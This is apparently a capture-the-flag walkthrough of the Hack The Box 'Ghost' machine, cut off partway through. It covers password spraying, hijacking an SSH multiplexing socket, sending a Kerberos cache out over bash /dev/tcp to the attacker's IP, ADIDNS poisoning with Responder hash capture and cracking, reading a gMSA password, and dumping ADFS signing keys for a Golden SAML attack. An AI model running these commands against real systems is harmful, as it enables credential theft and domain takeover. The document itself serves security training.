┌──(ch3ng㉿localhost)-[~/machines/ghost] └─$ netexec ldap 10.129.231.105 -u users.txt -p 'He!KA9oKVT3rL99j' --continue-on-success SMB 10.129.231.105 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:ghost.htb) (signing:True) (SMBv1:False) LDAP 10.129.231.105 389 DC01 [-] ghost.htb\kathryn.holland:He!KA9oKVT3rL99j LDAP 10.129.231.105 389 DC01 [-] ghost.htb\cassandra.shelton:He!KA9oKVT3rL99j LDAP 10.129.231.105 389 DC01 [-] ghost.htb\robert.steeves:He!KA9oKVT3rL99j LDAP 10.129.231.105 389 DC01 [-] ghost.htb\florence.ramirez:He!KA9oKVT3rL99j LDAP 10.129.231.105 389 DC01 [-] ghost.htb\justin.bradley:He!KA9oKVT3rL99j LDAP 10.129.231.105 389 DC01 [-] ghost.htb\arthur.boyd:He!KA9oKVT3rL99j LDAP 10.129.231.105 389 DC01 [-] ghost.htb\beth.clark:He!KA9oKVT3rL99j LDAP 10.129.231.105 389 DC01 [-] ghost.htb\charles.gray:He!KA9oKVT3rL99j LDAP 10.129.231.105 389 DC01 [-] ghost.htb\jason.taylor:He!KA9oKVT3rL99j LDAP 10.129.231.105 389 DC01 [+] ghost.htb\intranet_principal:He!KA9oKVT3rL99j LDAP 10.129.231.105 389 DC01 [-] ghost.htb\gitea_temp_principal:He!KA9oKVT3rL99j LDAP 10.129.231.105 389 DC01 [-] ghost.htb\kristen.rose:He!KA9oKVT3rL99j
I doubt the user have access to WinRM, but it can still be used for collecting domain information with BloodHound. I’ll revisit the findings once a proper foothold in the domain is established.
A Docker script is also found in the root directory:
root@36b733906694:/# ls -la total 84 drwxr-xr-x 1 root root 4096 Jul 22 17:03 . drwxr-xr-x 1 root root 4096 Jul 22 17:03 .. -rwxr-xr-x 1 root root 0 Jul 22 17:03 .dockerenv drwxr-xr-x 1 root root 4096 Jul 5 2024 app lrwxrwxrwx 1 root root 7 Jul 1 2024 bin -> usr/bin drwxr-xr-x 2 root root 4096 Mar 29 2024 boot drwxr-xr-x 5 root root 340 Jan 14 07:40 dev -rwxr-xr-x 1 root root 215 Jul 22 17:02 docker-entrypoint.sh drwxr-xr-x 1 root root 4096 Jul 22 17:03 etc drwxr-xr-x 2 root root 4096 Mar 29 2024 home lrwxrwxrwx 1 root root 7 Jul 1 2024 lib -> usr/lib lrwxrwxrwx 1 root root 9 Jul 1 2024 lib64 -> usr/lib64 drwxr-xr-x 2 root root 4096 Jul 1 2024 media drwxr-xr-x 2 root root 4096 Jul 1 2024 mnt drwxr-xr-x 2 root root 4096 Jul 1 2024 opt dr-xr-xr-x 196 root root 0 Jan 14 07:40 proc drwx------ 1 root root 4096 Jul 5 2024 root drwxr-xr-x 1 root root 4096 Jul 5 2024 run lrwxrwxrwx 1 root root 8 Jul 1 2024 sbin -> usr/sbin drwxr-xr-x 2 root root 4096 Jul 1 2024 srv dr-xr-xr-x 13 root root 0 Jan 14 07:40 sys drwxrwxrwt 1 root root 4096 Jul 5 2024 tmp drwxr-xr-x 1 root root 4096 Jul 1 2024 usr drwxr-xr-x 1 root root 4096 Jul 1 2024 var
docker-entrypoint.sh:
#!/bin/bash
mkdir /root/.ssh
mkdir /root/.ssh/controlmaster
printf 'Host *\n ControlMaster auto\n ControlPath ~/.ssh/controlmaster/%%r@%%h:%%p\n ControlPersist yes' > /root/.ssh/config
exec /app/ghost_intranet
No secrets are found in it, but there’s a line relating to SSH that I don’t quite understand.
SSH Multiplexing:
I threw the command to ChatGPT and it gave a pretty good explanation of what’s happening.

Basically, it modifies the SSH config file to enable multiplexing, a feature that allows multiple SSH sessions to share a single connection to a server. This significantly speeds up repeated connections by avoiding the overhead of re-authentication and connection setup, and is especially useful in automation and scripting.
root@36b733906694:~# cat .ssh/config Host * ControlMaster auto ControlPath ~/.ssh/controlmaster/%r@%h:%p ControlPersist yes
Once the master connection is established, it will be persisted through a socket file specified by the ControlPath setting. In .ssh/controlmaster, there’s already an existing connection to dev-workstation as florence.ramirez@ghost.htb:
root@36b733906694:~/.ssh# ls -la controlmaster total 12 drwxr-xr-x 1 root root 4096 Mar 29 09:47 . drwxr-xr-x 1 root root 4096 Jul 5 2024 .. srw------- 1 root root 0 Mar 29 09:47 florence.ramirez@ghost.htb@dev-workstation:22
As shown by this blog post, the connection can be reused by specifying the socket file in the SSH command.
root@36b733906694:~/.ssh/controlmaster# ssh -S florence.ramirez@ghost.htb@dev-workstation:22 ghost.htb Last login: Thu Feb 1 23:58:45 2024 from 172.18.0.1 florence.ramirez@LINUX-DEV-WS01:~$ id uid=50(florence.ramirez) gid=50(staff) groups=50(staff),51(it)
It logged me in to LINUX-DEV-WS01, without prompting me for authentication.
Escalation from florence.ramirez:
Kerberos Cache:
A Kerberos cache file is found in the environment variables:
florence.ramirez@LINUX-DEV-WS01:~$ env SHELL=/bin/bash PWD=/ KRB5CCNAME=FILE:/tmp/krb5cc_50 LOGNAME=florence.ramirez MOTD_SHOWN=pam HOME=/home/GHOST/florence.ramirez SSH_CONNECTION=172.18.0.3 52500 172.18.0.2 22 USER=florence.ramirez SHLVL=1 LC_CTYPE=C.UTF-8 SSH_CLIENT=172.18.0.3 52500 22 PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games SSH_TTY=/dev/pts/0 _=/usr/bin/env OLDPWD=/home/GHOST/florence.ramirez
Copying the file is a little bit tricky, as the host is even more restricted than the Docker container. Many common tools like nc or python are not available. I’ll use bash’s built-in TCP socket instead.
┌──(ch3ng㉿localhost)-[~/machines/ghost] └─$ nc -lvnp 8001 > krb5cc_50 listening on [any] 8001 ...
florence.ramirez@LINUX-DEV-WS01:/$ cat /tmp/krb5cc_50 > /dev/tcp/10.10.14.93/8001
With the cache file, I can access the domain as florence.ramirez, but still no shell access.
┌──(ch3ng㉿localhost)-[~/machines/ghost] └─$ netexec smb 10.129.231.105 -u florence.ramirez -k --use-kcache SMB 10.129.231.105 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:ghost.htb) (signing:True) (SMBv1:False) SMB 10.129.231.105 445 DC01 [+] ghost.htb\florence.ramirez from ccache
BloodHound:
florence.ramirezis a member of the IT group, though it’s unclear what access it gives. Other than that, the user doesn’t seem have any useful privileges or outbound controls.

Looking at other users, justin.bradley is in the Remote Management User group, and has an outbound control ReadGMSAPassword on ADFS_GMSA$.

He can also PSRemote on DC01. Interestingly this AD environment contains 2 domains: ghost.htb and corp.ghost.htb. I’ll revisit this later.

Regarding the PSRemote edge, according to BloodHound:
PS Session access allows you to enter an interactive session with the target computer. If authenticating as a low privilege user, a privilege escalation may allow you to gain high privileges on the system. However, this edge does not guarantee privilege escalation.
Basically it means the user can run code on the domain controller in the context of itself, which is not really helpful. However, it reminds me of a forum post on Intranet:

Justin was complaining that his script was failing when trying to connect to bitbucket.ghost.htb. This is because the DNS entry has not been configured yet, and Kathryn suggested him to continue running the script as she’ll configure it very soon.
ADIDNS Poisoning:
Given that Justin keeps attempting to run his script, if I can somehow add a DNS entry for bitbucket.ghost.htb pointing to my host, it would be possible to perform an ADIDNS poisoning attack and intercept the traffic coming from his script, potentially also obtaining his NTLM hash.
By default, any domain users can create DNS entries that don’t already exist. With florence.ramirez’s creds, I’ll add the entry with bloodyAD.
┌──(ch3ng㉿localhost)-[~/machines/ghost] └─$ bloodyAD --host dc01.ghost.htb -d ghost.htb -k add dnsRecord bitbucket 10.10.14.93 [+] bitbucket has been successfully added
I’ll also set up Responder to listen for any incoming authentication requests, and after a minute or two Justin’s NTLM hash was captured.
┌──(ch3ng㉿localhost)-[~/machines/ghost] └─$ sudo responder -I tun0 .----.-----.-----.-----.-----.-----.--| |.-----.----. | _| -__|__ --| _ | _ | | _ || -__| _| |__| |_____|_____| __|_____|__|__|_____||_____|__| |__| NBT-NS, LLMNR & MDNS Responder 3.1.5.0 To support this project: Github -> https://github.com/sponsors/lgandx Paypal -> https://paypal.me/PythonResponder Author: Laurent Gaffie (laurent.gaffie@gmail.com) To kill this script hit CTRL-C <..SNIP..> [+] Listening for events... [HTTP] NTLMv2 Client : 10.129.231.105 [HTTP] NTLMv2 Username : ghost\justin.bradley [HTTP] NTLMv2 Hash : justin.bradley::ghost:fdf22ff8bdd82451:EE0761D82F8292<..SNIP..>
The hash is easily cracked by john:
┌──(ch3ng㉿localhost)-[~/machines/ghost] └─$ john --wordlist=/usr/share/wordlists/rockyou.txt justin.bradley.hash Using default input encoding: UTF-8 Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64]) Will run 16 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status Qwertyuiop1234$$ (justin.bradley) 1g 0:00:00:04 DONE (2025-01-15 17:22) 0.2114g/s 2265Kp/s 2265Kc/s 2265KC/s RAHFIATUL..Q+1/3_Goy? Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably Session completed.
With the password, I can finally get a shell with evil-winrm and grab the user flag.
┌──(ch3ng㉿localhost)-[~/machines/ghost] └─$ evil-winrm -u justin.bradley -p 'Qwertyuiop1234$$' -i ghost.htb Evil-WinRM shell v3.7 Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\justin.bradley\Documents> whoami ghost\justin.bradley
User Flag:
*Evil-WinRM* PS C:\Users\justin.bradley\Desktop> type user.txt c8c250d6************************
Escalation from justin.bradley:
TCP8443 - Ghost Core:
With domain creds, I thought I can access Ghost Core, but turns out it’s only available to Administrator.

I’ll look at the login flow in more details. In my Burp history, there’s a series of POST requests and redirections between core.ghost.htb and federation.ghost.htb.

To fully understand the authentication flow here, some background knowledge of ADFS and SAML is needed.
ADFS and SAML Authentication:
Active Directory Federation Service (ADFS) is a Microsoft identity service that enables SSO to third-party applications using domain credentials. It supports a few SSO protocols such as WS-Federation — a legacy Microsoft protocol, OpenID Connect (OIDC) — a modern standard widely adopted by applications, and Security Assertion Markup Language (SAML), which is used by Ghost Core.
This page gives a nice visualization of the SAML authentication flow. In our case, Ghost Core is the Service Provider, and ADFS is the Identity Provider. The whole flow can be broken down into the following steps:

1 - Accessing the Service Provider
The flow initiates at the Ghost Core page when I click on “Login using AD Federation”.

2 - Redirection to IDP
A request is sent to /api/login, in which the application responds with 302 redirecting to federation.ghost.htb/adfs/ls/ with a SAMLRequest token embedded in the URL.

3 and 4 - IDP Authentication
The resulting page is the ADFS login portal, where I’m asked to authenticate with domain credentials.

5 - IDP Returns SAML Response
Once ADFS validated my authentication request, it returns a SAMLResponse token:

It’s basically base64-encoded XML data containing my identity.
<?xml version="1.0"?>
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" ID="_352cb200-9e44-459c-a6fd-0b2caf873ff8" Version="2.0" IssueInstant="2025-05-21T13:44:50.893Z" Destination="https://core.ghost.htb:8443/adfs/saml/postResponse" Consent="urn:oasis:names:tc:SAML:2.0:consent:unspecified" InResponseTo="_48451e698d43e3c56a3ff258dc7c494616607987">
<Issuer xmlns="urn:oasis:names:tc:SAML:2.0:assertion">http://federation.ghost.htb/adfs/services/trust</Issuer>
<samlp:Status>
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
</samlp:Status>
<Assertion xmlns="urn:oasis:names:tc:SAML:2.0:assertion" ID="_03002929-93dd-4b76-8c52-822441c806f8" IssueInstant="2025-05-21T13:44:50.846Z" Version="2.0">
<Issuer>http://federation.ghost.htb/adfs/services/trust</Issuer>
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:SignedInfo>
<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
<ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>
<ds:Reference URI="#_03002929-93dd-4b76-8c52-822441c806f8">
<ds:Transforms>
<ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>
<ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
</ds:Transforms>
<ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/>
<ds:DigestValue>lp5ogGrzEUFjaHAfsnjjHuPrV4uoanPDq3LEZZSQKuc=</ds:DigestValue>
</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>hMdbtM97j5WL6cskPj+S8J7jDYyacbKHP7xee/Ba4IpqQChyv97UylP83IKFW5gMQRlDbZFH7NTzKQx04VdHQbIR2xHpJ81rNY3SKJS/GsakrPioD5Ou4swSzl5zmJbO7tNc7icpff8eOhvVkE5DbvPZLrUxV28hEz4zWPbGdAJabkAQJda6rwq+HLhwGPTW9om6wVL1+yJ6IetZ2lkyNIpjjDmeJKqaw5/3LGQLgWnCPra0spAoTfyWMdDcg6XHCYEOpguViqoxBpCayLEHM6dOoJS1IEgjRzf9/gbAXwG8Z2A+SAbLZHcI4rNLtKNmrNKIHBfbiRcz9WrZ7f01H/6Yy4MfTWhpxyrds5ZO9XvtLfnMEuWlzUuadqZBYmWltJk1Fp1orodxdupzVeCMKIWltlPjIlKoox3WXBY17F0/meGgIuu6DwMdtkkcdp8EiYIuSLgny45gq79JcXGgSWW/5y0PomJYb2a4xNF3Ib3jXtcpx0IfsHBpHVHIpQa5AKUAC1g4jjt4gVenVuDq9QlzuUiMajm/xl9E+4WnU+8WeK4n6fxYSkDpE5/8x1Yn+1Rxxvr2C+SggzSOa1d7LItbkU6RuGlbsNBgJWNTMWd2g6Sq6DXX+qSaelQ9850AO5qy27+QTCywyK0vx2eIcXC+UdG6WD4BsbmVWV2cycQ=</ds:SignatureValue>
<KeyInfo xmlns="http://www.w3.org/2000/09/xmldsig#">
<ds:X509Data>
<ds:X509Certificate>MIIE5jCCAs6gAwIBAgIQJFcWwMybRa5O4+WO5tWoGTANBgkqhkiG9w0BAQsFADAuMSwwKgYDVQQDEyNBREZTIFNpZ25pbmcgLSBmZWRlcmF0aW9uLmdob3N0Lmh0YjAgFw0yNDA2MTgxNjE3MTBaGA8yMTA0MDUzMDE2MTcxMFowLjEsMCoGA1UEAxMjQURGUyBTaWduaW5nIC0gZmVkZXJhdGlvbi5naG9zdC5odGIwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQC+AAOIfEqtlYcn153L1BvGQgDyXTnYwTRzsK59+zE1zgGKO9N5nb8Fk+daKpWLQaiH7oDHaenw/QaxBg5qdeDYmD3oz8KyaA1ygYBrzm4wW7Ff87rK9Fe5J5/h6W9g749h5BIqPQOp0l6s1rfumOccN4ybW95EWNL0vuQXvC+KQ4D4gMXu8mCGpxtvIL8ilNtJuIG3ORYSKhRal0yyJeOhG4xglrZJF18p9whnE6omggmA6n2shDk/tvTYjii5e7/icWTKkrsMCpaKUNk7mxdMZhQab7SmfKrZN4pRD7dVg5zzIyD7UzS9CHLC6xNzq/Z0huaOaJhOSdJSgat/bsG8nbx19HD/+ypW9J2LtNFugdWtmUBWDOQBYVhB8Sg4VEGgP9jyItHH2bzsDfjRdJ8E1uNJWP/kQA1+wYlOddLqU3b0IsCvlA8EvYW0T1Rsu77o4x/w0gWb0oQPEIz7z973b496wqQt3DnyfeO3lXXfZNcvaj5KCP2TtGB+KshF9pkIPxq7F2gMh7QjxjRHsA29V8jFo9gLD7kPVicaIUdsgiFHnYQF14a52JtR1V5iN+h95JkuuEqQWDBHAvPEBBZkEZH+5yT+aCFXXX+BpPt3QGjYLeJU8CFsMtn8QVLYvLdcVRsUnRh/WHiXwJOOEVECa9w7/yVnhalCNBx1E/l4KQIDAQABMA0GCSqGSIb3DQEBCwUAA4ICAQAWYKZW3cDCBO6dT3yfl3Ocuyp1LVKVI+9pFx/bbWpWjSdh6b39LTxxD7FYUthuWPZ3rF4G+FdMFHHCx3YpEmUFnELKsXqhZ989AX58I/3mbfUlKWeIPLSLkp+eRZoMJkt7k1/KXtDasOQn0NsgYEowLBImMCMu9uujnCmFOwHP/IBhgYQMHh46BzSXWP3i8VXbrRtDpo/c//OFJhGmnnF8ZPmi4xtzfSDBpVKqwVLp78CguMxjQd+bdUb45588ZJ4CLsPdRQp30WJ1/CNIaenvJWtA2G5IZw5U0EWCJLoYJWFs9iyOa1/y55ruW6J8lIGD0wmoEeCl9CH1Ed4dzUdUXf1MBCYP3X92iaxzUE0upGd/1Qo6HTyyOlWuAwrkT2VHELKVZKOg8+dly97gyZIfUtQwIkPwNl8vo04cfj+hzOvBzPKAAYh14NLgveAI/DqMnO0OKO+w1HBKw64NBCn8goazF+PuFfUO0yNHFL4kxMpcap6iev6g3BXCSDwfqTUOEuEs7q9oYKgq2qnNVOTIhhInMXBzEm6iP13jfuOoXJdPAnEUXn4y5ywA97rtbGnZEPyx1f1EkX/hbqBP4vogv9kltaUEEVXkS+hPpxZmexCNrBD1q7GJ/50ebYlC0Cev8w6Ms8tM0OrvppGYlWrtPwevEvfiRkwBLG7EMAnLSw==</ds:X509Certificate>
</ds:X509Data>
</KeyInfo>
</ds:Signature>
<Subject>
<SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<SubjectConfirmationData InResponseTo="_48451e698d43e3c56a3ff258dc7c494616607987" NotOnOrAfter="2025-05-21T13:49:50.893Z" Recipient="https://core.ghost.htb:8443/adfs/saml/postResponse"/>
</SubjectConfirmation>
</Subject>
<Conditions NotBefore="2025-05-21T13:44:50.799Z" NotOnOrAfter="2025-05-21T14:44:50.799Z">
<AudienceRestriction>
<Audience>https://core.ghost.htb:8443</Audience>
</AudienceRestriction>
</Conditions>
<AttributeStatement>
<Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn">
<AttributeValue>justin.bradley@ghost.htb</AttributeValue>
</Attribute>
<Attribute Name="http://schemas.xmlsoap.org/claims/CommonName">
<AttributeValue>justin.bradley</AttributeValue>
</Attribute>
</AttributeStatement>
<AuthnStatement AuthnInstant="2025-05-21T13:44:32.525Z">
<AuthnContext>
<AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</AuthnContextClassRef>
</AuthnContext>
</AuthnStatement>
</Assertion>
</samlp:Response>
6 and 7 - SP Validation and Authorization
The SAML response is then forwarded to Ghost Core for validation. Here, the application successfully identifies me as justin.bradley, but rejects my authorization request since I’m not the admin. As a result, it redirects me to the unauthorized page seen above.

In this implementation, Ghost Core does not need to handle authentication directly. Instead, it simply inspects the SAML response — like verifying a person’s ID card — and decides whether to grant access to the application.
The SAML response is digitally signed, making it secure and tamper-resistant under normal circumstances. However, Justin has ReadGMSAPassword on ADFS’ service account, which can potentially be leveraged to extract the signing key and forge an admin SAML response.

DACL Abuse - ReadGMSAPassword:
According to BloodHound:
This privilege allows you to read the password for a Group Managed Service Account (GMSA). Group Managed Service Accounts are a special type of Active Directory object, where the password for that object is managed by and automatically changed by Domain Controllers on a set interval.
As shown in this page, I can use bloodyAD to read the account’s msDS-ManagedPassword attribute, which contains its NTLM hash.
┌──(ch3ng㉿localhost)-[~/machines/ghost] └─$ bloodyAD --host dc01.ghost.htb -d ghost.htb -u 'justin.bradley' -p 'Qwertyuiop1234$$' get object 'ADFS_GMSA$' --attr msDS-ManagedPassword distinguishedName: CN=adfs_gmsa,CN=Managed Service Accounts,DC=ghost,DC=htb msDS-ManagedPassword.NTLM: aad3b435b51404eeaad3b435b51404ee:abf1d5a64837f8722b61e93a292d09dd msDS-ManagedPassword.B64ENCODED: UzggNwoF2V3JR3hxgyXr7hMtsz+vPrdN4e6j32YaknjyQRIO/tl9QbpM7NDMXTwZ/lOoEZbzqZj4147uTuu+CKvwmTQOcfpshJxcPJeAQrG72hB9I4DtDDPaeiixcGaiH7BDld0xXxK++2Z5+lBbi9PnhaTSLXX7Uq4gHY6PDzzuFB1QLpyhBRo4SHskKJKX824R0NZK9szIfTvaFnWLsIUe4F4dhMOaA0UCugirlspWp2vi+ePNhgRy+Ly2/lHIThu3nOVWYnA2xXYRp85sy3uP0EHeTbs6pLNnd2NLOf8c7qTu+4MKik5+8B7OwMnamCejwuO1P5bx8OIhdYUq6A==
Conveniently, the account has access to WinRM, and I can use the hash directly to get a shell via evil-winrm.
┌──(ch3ng㉿localhost)-[~/machines/ghost] └─$ evil-winrm -u 'ADFS_GMSA$' -H abf1d5a64837f8722b61e93a292d09dd -i ghost.htb Evil-WinRM shell v3.7 Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\adfs_gmsa$\Documents> whoami ghost\adfs_gmsa$
Golden SAML Attack:
The act of forging SAML responses and impersonating other users is known as a Golden SAML attack. The name resembles another well known attack called Golden Ticket, which targets Kerberos authentication within a domain. Both attacks are similar in nature, but Golden SAML is more flexible and stealthy, as the forging can happen anywhere and not limited to within the domain.
This post has a comprehensive walkthrough of the attack. I’ll first use ADFSDump to dump out a whole bunch of data:
*Evil-WinRM* PS C:\Users\adfs_gmsa$\Documents> upload ADFSDump.exe Info: Uploading /home/ch3ng/machines/ghost/ADFSDump.exe to C:\Users\adfs_gmsa$\Documents\ADFSDump.exe Data: 40276 bytes of 40276 bytes copied Info: Upload successful! *Evil-WinRM* PS C:\Users\adfs_gmsa$\Documents> .\ADFSDump.exe ___ ____ ___________ ____ / | / __ \/ ____/ ___// __ \__ ______ ___ ____ / /| | / / / / /_ \__ \/ / / / / / / __ `__ \/ __ \ / ___ |/ /_/ / __/ ___/ / /_/ / /_/ / / / / / / /_/ / /_/ |_/_____/_/ /____/_____/\__,_/_/ /_/ /_/ .___/ /_/ Created by @doughsec ## Extracting Private Key from Active Directory Store [-] Domain is ghost.htb [-] Private Key: FA-DB-3A-06-DD-CD-40-57-DD-41-7D-81-07-A0-F4-B3-14-FA-2B-6B-70-BB-BB-F5-28-A7-21-29-61-CB-21-C7 [-] Private Key: 8D-AC-A4-90-70-2B-3F-D6-08-D5-BC-35-A9-84-87-56-D2-FA-3B-7B-74-13-A3-C6-2C-58-A6-F4-58-FB-9D-A1 ## Reading Encrypted Signing Key from Database [-] Encrypted Token Signing Key Begin AAAAAQAAAAAEEAFyHlNXh2VDska8KMTxXboGCWCGSAFlAwQCAQYJYIZIAWUDBAIBBglghkgBZQMEAQIEIN38LpiFTpYLox2V3SL3knZBg16utbeqqwIestbeUG4eBBBJvH3Vzj/Slve2Mo4AmjytIIIQoMESvyRB6RLWIoeJzgZOngBMCuZR8UAfqYsWK2XKYwRzZKiMCn6hLezlrhD8ZoaAaaO1IjdwMBButAFkCFB3/DoFQ/9cm33xSmmBHfrtufhYxpFiAKNAh1stkM2zxmPLdkm2jDlAjGiRbpCQrXhtaR+z1tYd4m8JhBr3XDSURrJzmnIDMQH8pol+wGqKIGh4xl9BgNPLpNqyT56/59TC7XtWUnCYybr7nd9XhAbOAGH/Am4VMlBTZZK8dbnAmwirE2fhcvfZw+ERPjnrVLEpSDId8rgIu6lCWzaKdbvdKDPDxQcJuT/TAoYFZL9OyKsC6GFuuNN1FHgLSzJThd8FjUMTMoGZq3Cl7HlxZwUDzMv3mS6RaXZaY/zxFVQwBYquxnC0z71vxEpixrGg3vEs7ADQynEbJtgsy8EceDMtw6mxgsGloUhS5ar6ZUE3Qb/DlvmZtSKPaT4ft/x4MZzxNXRNEtS+D/bgwWBeo3dh85LgKcfjTziAXH8DeTN1Vx7WIyT5v50dPJXJOsHfBPzvr1lgwtm6KE/tZALjatkiqAMUDeGG0hOmoF9dGO7h2FhMqIdz4UjMay3Wq0WhcowntSPPQMYVJEyvzhqu8A0rnj/FC/IRB2omJirdfsserN+WmydVlQqvcdhV1jwMmOtG2vm6JpfChaWt2ou59U2MMHiiu8TzGY1uPfEyeuyAr51EKzqrgIEaJIzV1BHKm1p+xAts0F5LkOdK4qKojXQNxiacLd5ADTNamiIcRPI8AVCIyoVOIDpICfei1NTkbWTEX/IiVTxUO1QCE4EyTz/WOXw3rSZA546wsl6QORSUGzdAToI64tapkbvYpbNSIuLdHqGplvaYSGS2Iomtm48YWdGO5ec4KjjAWamsCwVEbbVwr9eZ8N48gfcGMq13ZgnCd43LCLXlBfdWonmgOoYmlqeFXzY5OZAK77YvXlGL94opCoIlRdKMhB02Ktt+rakCxxWEFmdNiLUS+SdRDcGSHrXMaBc3AXeTBq09tPLxpMQmiJidiNC4qjPvZhxouPRxMz75OWL2Lv1zwGDWjnTAm8TKafTcfWsIO0n3aUlDDE4tVURDrEsoI10rBApTM/2RK6oTUUG25wEmsIL9Ru7AHRMYqKSr9uRqhIpVhWoQJlSCAoh+Iq2nf26sBAev2Hrd84RBdoFHIbe7vpotHNCZ/pE0s0QvpMUU46HPy3NG9sR/OI2lxxZDKiSNdXQyQ5vWcf/UpXuDL8Kh0pW/bjjfbWqMDyi77AjBdXUce6Bg+LN32ikxy2pP35n1zNOy9vBCOY5WXzaf0e+PU1woRkUPrzQFjX1nE7HgjskmA4KX5JGPwBudwxqzHaSUfEIM6NLhbyVpCKGqoiGF6Jx1uihzvB98nDM9qDTwinlGyB4MTCgDaudLi0a4aQoINcRvBgs84fW+XDj7KVkH65QO7TxkUDSu3ADENQjDNPoPm0uCJprlpWeI9+EbsVy27fe0ZTG03lA5M7xmi4MyCR9R9UPz8/YBTOWmK32qm95nRct0vMYNSNQB4V/u3oIZq46J9FDtnDX1NYg9/kCADCwD/UiTfNYOruYGmWa3ziaviKJnAWmsDWGxP8l35nZ6SogqvG51K85ONdimS3FGktrV1pIXM6/bbqKhWrogQC7lJbXsrWCzrtHEoOz2KTqw93P0WjPE3dRRjT1S9KPsYvLYvyqNhxEgZirxgccP6cM0N0ZUfaEJtP21sXlq4P1Q24bgluZFG1XbDA8tDbCWvRY1qD3CNYCnYeqD4e7rgxRyrmVFzkXEFrIAkkq1g8MEYhCOn3M3lfHi1L6de98AJ9nMqAAD7gulvvZpdxeGkl3xQ+jeQGu8mDHp7PZPY+uKf5w87J6l48rhOk1Aq+OkjJRIQaFMeOFJnSi1mqHXjPZIqXPWGXKxTW7P+zF8yXTk5o0mHETsYQErFjU40TObPK1mn2DpPRbCjszpBdA3Bx2zVlfo3rhPVUJv2vNUoEX1B0n+BE2DoEI0TeZHM/gS4dZLfV/+q8vTQPnGFhpvU5mWnlAqrn71VSb+BarPGoTNjHJqRsAp7lh0zxVxz9J4xWfX5HPZ9qztF1mGPyGr/8uYnOMdd+4ndeKyxIOfl4fce91CoYkSsM95ZwsEcRPuf5gvHdqSi1rYdCrecO+RChoMwvLO8+MTEBPUNQ8YVcQyecxjaZtYtK+GZqyQUaNyef4V6tcjreFQF93oqDqvm5CJpmBcomVmIrKu8X7TRdmSuz9LhjiYXM+RHhNi6v8Y2rHfQRspKM4rDyfdqu1D+jNuRMyLc/X573GkMcBTiisY1R+8k2O46jOMxZG5NtoL2FETir85KBjM9Jg+2nlHgAiCBLmwbxOkPiIW3J120gLkIo9MF2kXWBbSy6BqNu9dPqOjSAaEoH+Jzm4KkeLrJVqLGzx0SAm3KHKfBPPECqj+AVBCVDNFk6fDWAGEN+LI/I61IEOXIdK1HwVBBNj9LP83KMW+DYdJaR+aONjWZIoYXKjvS8iGET5vx8omuZ3Rqj9nTRBbyQdT9dVXKqHzsK5EqU1W1hko3b9sNIVLnZGIzCaJkAEh293vPMi2bBzxiBNTvOsyTM0Evin2Q/v8Bp8Xcxv/JZQmjkZsLzKZbAkcwUf7+/ilxPDFVddTt+TcdVP0Aj8Wnxkd9vUP0Tbar6iHndHfvnsHVmoEcFy1cb1mBH9kGkHBu2PUl/9UySrTRVNv+oTlf+ZS/HBatxsejAxd4YN/AYanmswz9FxF96ASJTX64KLXJ9HYDNumw0+KmBUv8Mfu14h/2wgMaTDGgnrnDQAJZmo40KDAJ4WV5Akmf1K2tPginqo2qiZYdwS0dWqnnEOT0p+qR++cAae16Ey3cku52JxQ2UWQL8EB87vtp9YipG2C/3MPMBKa6TtR1nu/C3C/38UBGMfclAb0pfb7dhuT3mV9antYFcA6LTF9ECSfbhFobG6WS8tWJimVwBiFkE0GKzQRnvgjx7B1MeAuLF8fGj7HwqQKIVD5vHh7WhXwuyRpF3kRThbkS8ZadKpDH6FUDiaCtQ1l8mEC8511dTvfTHsRFO1j+wZweroWFGur4Is197IbdEiFVp/zDvChzWXy071fwwJQyGdOBNmra1sU8nAtHAfRgdurHiZowVkhLRZZf3UM76OOM8cvs46rv5F3K++b0F+cAbs/9aAgf49Jdy328jT0ir5Q+b3eYss2ScLJf02FiiskhYB9w7EcA+WDMu0aAJDAxhy8weEFh72VDBAZkRis0EGXrLoRrKU60ZM38glsJjzxbSnHsp1z1F9gZXre4xYwxm7J799FtTYrdXfQggTWqj+uTwV5nmGki/8CnZX23jGkne6tyLwoMRNbIiGPQZ4hGwNhoA6kItBPRAHJs4rhKOeWNzZ+sJeDwOiIAjb+V0FgqrIOcP/orotBBSQGaNUpwjLKRPx2nlI1VHSImDXizC6YvbKcnSo3WZB7NXIyTaUmKtV9h+27/NP+aChhILTcRe4WvA0g+QTG5ft9GSuqX94H+mX2zVEPD2Z5YN2UwqeA2EAvWJDTcSN/pDrDBQZD2kMB8P4Q7jPauEPCRECgy43se/DU+P63NBFTa5tkgmG2+E05RXnyP+KZPWeUP/lXOIA6PNvyhzzobx52OAewljfBizErthcAffnyPt6+zPdqHZMlfrkn+SY0JSMeR7pq0RIgZy0sa692+XtIcHYUcpaPl9hwRjE/5dpRtyt3w9fXR4dtf+rf+O2NI7h0l1xdmcShiRxHfp+